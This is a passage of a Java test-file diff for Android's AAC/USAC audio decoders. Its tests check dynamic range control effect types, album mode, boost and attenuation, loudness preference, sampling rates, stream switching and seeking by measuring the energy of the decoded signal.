+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 3 "LIMITED"
+        // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        try {
+            checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+        try {
+            checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 1 "NIGHT"
+        // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        try {
+            checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 2 "NOISY"
+        // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+        // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
+        // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+        try {
+            checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 3 "LIMITED"
+        // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+        // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+        try {
+            checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 6 "GENERAL"
+        // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
+        // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        try {
+            checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Verify the correct decoding of USAC bitstreams with album mode.
+     */
+    @Test
+    public void testDecodeUsacDrcAlbumModeM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacDrcAlbumModeM4a");
+
+        // Album mode is R feature
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Album mode support requires Android R"))
+                return;
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacDrcAlbumModeM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacDrcAlbumModeM4a(String aacDecName) throws Exception {
+        // test DRC Album Mode
+        // Track loudness = -19dB
+        // Album Loudness = -21 dB
+        // Fading Gains = -6 dB
+        // Album Mode ON : Gains = -24 - (-21) = -3dB
+        // Album Mode OFF : Gains = (-24 -(-19)) + (-6) = -11 dB
+        try {
+            checkUsacDrcAlbumMode(R.raw.noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcAlbumModeM4a for decoder" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Verify the correct decoding of USAC bitstreams with config changes.
+     */
+    @Test
+    public void testDecodeUsacStreamSwitchingM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacStreamSwitchingM4a");
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacStreamSwitchingM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacStreamSwitchingM4a(String aacDecName) throws Exception {
+        // Stereo
+        // switch between SBR ratios and stereo modes
+        try {
+            checkUsacStreamSwitching(2.5459829E12f, 2,
+                    R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Mono
+        // switch between SBR ratios and stereo modes
+        try {
+            checkUsacStreamSwitching(2.24669126E12f, 1,
+                    R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Stereo
+        // switch between USAC modes
+        try {
+            checkUsacStreamSwitching(2.1E12f, 2,
+                    R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Mono
+        // switch between USAC modes
+        try {
+            checkUsacStreamSwitching(1.7E12f, 1,
+                    R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+    }
+
+    /**
+     * Verify the correct decoding of USAC bitstreams with various sampling rates.
+     */
+    @Test
+    public void testDecodeUsacSamplingRatesM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacSamplingRatesM4a");
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacSamplingRatesM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacSamplingRatesM4a(String aacDecName) throws Exception {
+        try {
+            checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
+                    aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Verify the correct decoding of USAC bitstreams with different boost and attenuation settings
+     */
+    @Test
+    public void testDecodeUsacDrcBoostAndAttenuationM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacDrcBoostAndAttenuationM4a");
+
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Att/Boost corrected in Android R"))
+            return;
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacDrcBoostAndAttenuationM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacDrcBoostAndAttenuationM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a running for dec=" + aacDecName);
+        // test drcBoost and drcAttenuation parameters
+        // DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:64/127)) = 1.9844f
+        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:127/127)) = 1.0f
+        try {
+            checkUsacDrcBoostAndAttenuation(1.9844f, 1.0f, 64, 127, 2, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drcBoost and drcAttenuation parameters
+        // DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:127/127)) = 1.0f
+        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:64/127)) = 0.7099f
+        try {
+            checkUsacDrcBoostAndAttenuation(1.0f, 0.7099f, 127, 64, 2, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drcBoost and drcAttenuation parameters
+        // DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:0/127)) = 3.9811f
+        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:127/127)) = 1.0f
+        try {
+            checkUsacDrcBoostAndAttenuation(3.9811f, 1.0f, 0, 127, 2, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drcBoost and drcAttenuation parameters
+        // DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:127/127)) = 1.0f
+        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:0/127)) = 0.5012f
+        try {
+            checkUsacDrcBoostAndAttenuation(1.0f, 0.5012f, 127, 0, 2, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * verify the correct decoding of USAC bitstreams when different kinds of loudness values
+     * are present
+     */
+    @Test
+    public void testDecodeUsacDrcLoudnessPreferenceM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacDrcLoudnessPreferenceM4a");
+
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Loudness preference in Android R"))
+            return;
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacDrcLoudnessPreferenceM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacDrcLoudnessPreferenceM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcLoudnessPreferenceM4a running for dec=" + aacDecName);
+        // test drc loudness preference
+        // anchor loudness (-17 LUFS) and program loudness (-19 LUFS) are present in one stream
+        // -> anchor loudness should be selected
+        // the bitstream is decoded with targetLoudnessLevel = -16 LUFS and
+        // checked against the energy of the decoded signal without loudness normalization
+        // normfactor = loudness of waveform - targetLoudnessLevel = -1dB = 0.7943
+        try {
+            checkUsacDrcLoudnessPreference(
+                    R.raw.noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4, 0.7943f, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcLoudnessPreferenceM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drc loudness preference
+        // expert loudness (-23 LUFS) and program loudness (-19 LUFS) are present in one stream
+        // -> expert loudness should be selected
+        // the bitstream is decoded with targetLoudnessLevel = -16 LUFS and
+        // checked against the energy of the decoded signal without loudness normalization
+        // normfactor = loudness of waveform - targetLoudnessLevel = -7dB = 0.1995
+        try {
+            checkUsacDrcLoudnessPreference(
+                    R.raw.noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4, 0.1995f, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcLoudnessPreferenceM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Verify that the correct output loudness values are returned when decoding USAC bitstreams
+     */
+    @Test
+    public void testDecodeUsacDrcOutputLoudnessM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacDrcOutputLoudnessM4a");
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacDrcOutputLoudnessM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacDrcOutputLoudnessM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a running for dec=" + aacDecName);
+        // test drc output loudness
+        // testfile without loudness metadata and loudness normalization off -> expected value: -1
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4, -1, -1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a running for dec=" + aacDecName);
+        // test drc output loudness
+        // testfile without loudness metadata and loudness normalization on
+        // -> expected value: -1
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4, 64, -1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drc output loudness
+        // testfile with MPEG-D DRC loudness metadata and loudness normalization off
+        // -> expected value: loudness metadata in bitstream (-19*-4 = 76)
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, -1, 76, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drc output loudness
+        // testfile with MPEG-D DRC loudness metadata and loudness normalization off
+        // -> expected value: loudness metadata in bitstream (-22*-4 = 88)
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, -1, 88, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drc output loudness
+        // testfile with MPEG-D DRC loudness metadata and loudness normalization on
+        // -> expected value: target loudness value (92)
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, 92, 92, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+
+    /**
+     * Verify that seeking works correctly for USAC.
+     * Sync samples have to be taken into consideration.
+     */
+    @Test
+    public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
+        if(!sIsAndroidRAndAbove) {
+            // The fix for b/158471477 was released in mainline release 300802800
+            // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11990700
+            final int MIN_VERSION = 300802800;
+            TestUtils.assumeMainlineModuleAtLeast("com.google.android.media.swcodec", MIN_VERSION);
+            TestUtils.assumeMainlineModuleAtLeast("com.google.android.media", MIN_VERSION);
+        }
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacSyncSampleSeekingM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacSyncSampleSeekingM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+        // test usac seeking
+        try {
+            checkUsacSyncSampleSeeking(R.raw.sine_2ch_48khz_aot42_seek_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+    }
+
+    /**
+     *  Internal utilities
+     */
+
+    /**
+     * USAC test DRC Effect Type
+     */
+    private void checkUsacDrcEffectType(int effectTypeID, float normFactor_L, float normFactor_R,
+                 String effectTypeName, int nCh, int aggressiveDrc, String decoderName)
+                         throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            if (runtimeChange && !sIsAndroidRAndAbove) {
+                // changing decoder configuration after it has been initialized requires R and above
+                continue;
+            }
+            int testinput = -1;
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_def  = new DrcParams(127, 127, 96, 0, -1);
+            DrcParams drcParams_test = new DrcParams(127, 127, 96, 0, effectTypeID);
+
+            if (aggressiveDrc == 0) {
+                testinput = R.raw.noise_2ch_32khz_aot42_19_lufs_drc_mp4;
+            } else {
+                if (nCh == 2) {
+                    testinput = R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4;
+                } else if (nCh == 1){
+                    testinput = R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4;
+                }
+            }
+
+            short[] decSamples_def  = decodeToMemory(decParams, testinput,
+                    -1, null, drcParams_def, decoderName);
+            short[] decSamples_test = decodeToMemory(decParams, testinput,
+                    -1, null, drcParams_test, decoderName, runtimeChange);
+
+            float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, nCh, 1, 0);
+            float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, nCh, 1, 1);
+
+            if (nCh == 2) {
+                float nrgRatio_L = (nrg_test[1]/nrg_def[1])/normFactor_L;
+                float nrgRatio_R = (nrg_test[2]/nrg_def[2])/normFactor_R;
+                if ((nrgRatio_R > 1.05f || nrgRatio_R < 0.95f)
+                        || (nrgRatio_L > 1.05f || nrgRatio_L < 0.95f) ){
+                    throw new Exception("DRC Effect Type '" + effectTypeName + "' not as expected");
+                }
+            } else if (nCh == 1){
+                float nrgRatio_L = (nrg_test[0]/nrg_def[0])/normFactor_L;
+                if (nrgRatio_L > 1.05f || nrgRatio_L < 0.95f){
+                    throw new Exception("DRC Effect Type '" + effectTypeName + "' not as expected");
+                }
+            }
+        }
+    }
+
+    /**
+     * USAC test stream switching
+     */
+    private void checkUsacStreamSwitching(float nrg_ref, int encNch, int testinput,
+            String decoderName) throws Exception
+    {
+        AudioParameter decParams = new AudioParameter();
+        DrcParams drcParams      = new DrcParams(127, 127, 64, 0, -1);
+
+        // Check stereo stream switching
+        short[] decSamples = decodeToMemory(decParams, testinput,
+                -1, null, drcParams, decoderName);
+        float[] nrg = checkEnergyUSAC(decSamples, decParams, encNch, 1);
+
+        float nrgRatio = nrg[0] / nrg_ref;
+
+        // Check if energy levels are within 15% of the reference
+        // Energy drops within the decoded stream are checked by checkEnergyUSAC() within every
+        // 250ms interval
+        if (nrgRatio > 1.15f || nrgRatio < 0.85f ) {
+            throw new Exception("Config switching not as expected");
+        }
+    }
+
+    /**
+     * USAC test sampling rate
+     */
+    private void checkUsacSamplingRate(int testinput, String decoderName) throws Exception {
+        AudioParameter decParams  = new AudioParameter();
+        DrcParams drcParams_def   = new DrcParams(127, 127, 64, 0, -1);
+        DrcParams drcParams_test  = new DrcParams(127, 127, 96, 0, -1);
+
+        short[] decSamples_def  = decodeToMemory(decParams, testinput,
+                -1, null, drcParams_def, decoderName);
+        short[] decSamples_test = decodeToMemory(decParams, testinput,
+                -1, null, drcParams_test, decoderName);
+
+        float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
+        float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
+
+        float nrgRatio = nrg_def[0]/nrg_test[0];
+
+        // normFactor = 1/(10^(-8/10)) = 6.3f
+        nrgRatio = nrgRatio / 6.3f;
+
+        // Check whether behavior is as expected
+        if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
+            throw new Exception("Sampling rate not supported");
+        }
+    }
+
+    /**
+     * USAC test sampling rate for streams without loudness application
+     */
+    private void checkUsacSamplingRateWoLoudness(int testinput, String decoderName) throws Exception
+    {
+        AudioParameter decParams  = new AudioParameter();
+        DrcParams drcParams       = new DrcParams();
+
+        short[] decSamples = decodeToMemory(decParams, testinput, -1, null, drcParams, decoderName);
+
+        float[] nrg = checkEnergyUSAC(decSamples, decParams, 2, 1);
+
+        float nrg_ref  = 3.15766394E12f;
+        float nrgRatio = nrg_ref/nrg[0];
+
+        // Check whether behavior is as expected
+        if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
+            throw new Exception("Sampling rate not supported");
+        }
+    }
+
+    /**
+     * USAC test DRC Album Mode
+     */
+    private void checkUsacDrcAlbumMode(int testinput, String decoderName) throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_album_off = new DrcParams(127, 127, 64, 0, 0, 0);
+            DrcParams drcParams_album_on  = new DrcParams(127, 127, 64, 0, 0, 1);
+
+            short[] decSamples_album_off = decodeToMemory(
+                    decParams, testinput, -1, null, drcParams_album_off, decoderName);
+            short[] decSamples_album_on = decodeToMemory(
+                    decParams, testinput, -1, null, drcParams_album_on, decoderName, runtimeChange);
+
+            float[] nrg_album_off  = checkEnergyUSAC(decSamples_album_off, decParams, 2, 1);
+            float[] nrg_album_on = checkEnergyUSAC(decSamples_album_on, decParams, 2, 1);
+
+            float normFactor = 6.3095f;
+
+            float nrgRatio = (nrg_album_on[0]/nrg_album_off[0])/normFactor;
+            float nrgRatio_L = (nrg_album_on[1]/nrg_album_off[1])/normFactor;
+            float nrgRatio_R = (nrg_album_on[2]/nrg_album_off[2])/normFactor;
+
+            if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
+                throw new Exception("DRC Album Mode not supported, energy ratio " + nrgRatio);
+            }
+        }
+    }
+
+    /**
+     * USAC test DRC Boost and Attenuation
+     */
+    private void checkUsacDrcBoostAndAttenuation(float normFactor_L, float normFactor_R,
+                                                 int boostFactor, int attenuationFactor,
+                                                 int nCh, String decoderName) throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            if (runtimeChange && !sIsAndroidRAndAbove) {
+                // changing decoder configuration after it has been initialized requires R and above
+                continue;
+            }
+
+            int testinput = R.raw.noise_2ch_32khz_aot42_19_lufs_drc_mp4;
+
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_def = new DrcParams(127, 127, 64, 0, 6);
+            DrcParams drcParams_test = new DrcParams(boostFactor, attenuationFactor, 64, 0, 6);
+
+            short[] decSamples_def = decodeToMemory(decParams, testinput, -1, null,
+                    drcParams_def, decoderName);
+            short[] decSamples_test = decodeToMemory(decParams, testinput, -1, null,
+                    drcParams_test, decoderName, runtimeChange);
+
+            float[] nrg_def = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
+            float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
+
+            float nrgRatioLeft = nrg_test[1] / nrg_def[1];
+            float nrgRatioRight = nrg_test[2] / nrg_def[2];
+
+            float testValueLeft = normFactor_L * nrgRatioLeft;
+            float testValueRight = normFactor_R * nrgRatioRight;
+
+            // Check whether loudness behavior is as expected
+            if (testValueLeft > 1.05f || testValueLeft < 0.95f) {
+                throw new Exception("DRC boost/attenuation behavior not as expected");
+            }
+            if (testValueRight > 1.05f || testValueRight < 0.95f) {
+                throw new Exception("DRC boost/attenuation behavior not as expected");
+            }
+        }
+    }
+
+    /**
+    * USAC test Loudness Preference
+    */
+    private void checkUsacDrcLoudnessPreference(int testInput, float normFactor, String decoderName) throws Exception {
+
+        AudioParameter decParams = new AudioParameter();
+        DrcParams drcParams_def = new DrcParams(127, 127, -1, 0, 6);
+        DrcParams drcParams_test = new DrcParams(127, 127, 64, 0, 6);
+
+        // Check drc loudness preference
+        short[] decSamples_def = decodeToMemory(decParams, testInput, -1, null, drcParams_def, decoderName);
+        short[] decSamples_test = decodeToMemory(decParams, testInput, -1, null, drcParams_test, decoderName);
+
+        float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
+        float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
+
+        float nrgRatio = (nrg_test[0]/nrg_def[0]);
+        nrgRatio = nrgRatio * normFactor;
+
+        if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
+            throw new Exception("DRC Loudness preference not as expected");
+        }
+    }
+
+    /**
+    * USAC test Output Loudness
+    */
+    private void checkUsacDrcOutputLoudness(int testInput, int decoderTargetLevel,
+            int expectedOutputLoudness, String decoderName) throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, 0, 6);
+
+            // Check drc loudness preference
+            short[] decSamples_test = decodeToMemory(
+                    decParams, testInput, -1, null, drcParams_test,
+                    decoderName, runtimeChange, expectedOutputLoudness);
+        }
+    }
+
+    private void checkUsacSyncSampleSeeking(int testInput, String decoderName) throws Exception {
+
+        AudioParameter decParams = new AudioParameter();
+        DrcParams drcParams_def = new DrcParams();
+
+        short[] decSamples_seek_next_sync = decodeToMemory(decParams, testInput, -1, null,
+                drcParams_def, decoderName, false, -2, true, 1100000,
+                MediaExtractor.SEEK_TO_NEXT_SYNC);
+        float[] nrg_seek_next_sync = checkEnergyUSAC(decSamples_seek_next_sync, decParams, 2, 1);
+    }
+
+    /**
+     * Perform a segmented energy analysis on given audio signal samples and run several tests on
+     * the energy values.
+     *
+     * The main purpose is to verify whether a USAC decoder implementation applies Spectral Band
+     * Replication (SBR), Parametric Stereo (PS) and Dynamic Range Control (DRC) correctly. All
+     * tools are inherent parts to either the MPEG-D USAC audio codec or the MPEG-D DRC tool.
+     *
+     * In addition, this test can verify the correct decoding of multi-channel (e.g. 5.1 channel)
+     * streams or the creation of a downmixed signal.
+     *
+     * Note: This test procedure is not an MPEG Conformance Test and can not serve as a replacement.
+     *
+     * @param decSamples the decoded audio samples to be tested
+     * @param decParams the audio parameters of the given audio samples (decSamples)
+     * @param encNch the encoded number of audio channels (number of channels of the original
+     *               input)
+     * @param drcContext indicate to use test criteria applicable for DRC testing
+     * @return array of energies, at index 0: accumulated energy of all channels, and
+     *     index 1 and over contain the individual channel energies
+     * @throws RuntimeException
+     */
+    protected float[] checkEnergyUSAC(short[] decSamples, AudioParameter decParams,
+                                      int encNch, int drcContext)
+    {
+        final float[] nrg = checkEnergyUSAC(decSamples, decParams, encNch, drcContext,  0);
+        return nrg;
+    }
+
+    /**
+     * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effect type
+     * @param decSamples
+     * @param decParams
+     * @param encNch
+     * @param drcContext
+     * @param drcApplied indicate if MPEG-D DRC Effect Type has been applied
+     * @return
+     * @throws RuntimeException
+     */
